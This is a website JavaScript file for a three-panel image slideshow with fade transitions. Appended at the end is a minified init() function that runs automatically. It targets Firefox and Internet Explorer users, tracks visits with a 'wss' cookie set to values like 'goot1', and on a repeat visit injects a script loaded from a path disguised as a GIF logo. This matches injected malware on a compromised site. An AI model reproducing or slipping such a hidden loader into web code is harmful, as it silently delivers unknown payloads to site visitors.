// Swap Image with Fade Effect
function swapImage(id, path, index)
{
//Swap Images with Filter
var el = document.getElementById(id);
el.count = el.count || 0;

document.getElementById(id).style.filter="blendTrans(duration=2)"
if (document.getElementById(id).filters && document.getElementById(id).filters[0])
{
document.getElementById(id).filters.blendTrans.Apply()
document.getElementById(id).filters.blendTrans.Play()
document.getElementById(id).src = path[el.count];

el.count = (el.count + 1) % path.length;
}
}

// Allows for Multiple Slides
function slideshow()
{
setInterval(function ()
{
swapImage('slide1', [
"slide/home/1-1.jpg",
"slide/home/1-2.jpg",
"slide/home/1-3.jpg",
"slide/home/1-4.jpg",
"slide/home/1-5.jpg",
"slide/home/1-6.jpg",
"slide/home/1-7.jpg"
],[0,1]);
}, 5000);

setInterval(function ()
{
swapImage('slide2', [
"slide/home/1-3.jpg",
"slide/home/1-4.jpg",
"slide/home/1-5.jpg",
"slide/home/1-6.jpg",
"slide/home/1-7.jpg",
"slide/home/1-1.jpg",
"slide/home/1-2.jpg"
]);
}, 5010);

setInterval(function ()
{
swapImage('slide3', [
"slide/home/1-5.jpg",
"slide/home/1-6.jpg",
"slide/home/1-7.jpg",
"slide/home/1-1.jpg",
"slide/home/1-2.jpg",
"slide/home/1-3.jpg",
"slide/home/1-4.jpg"
]);
}, 5030);
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/logo-qpp-small.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
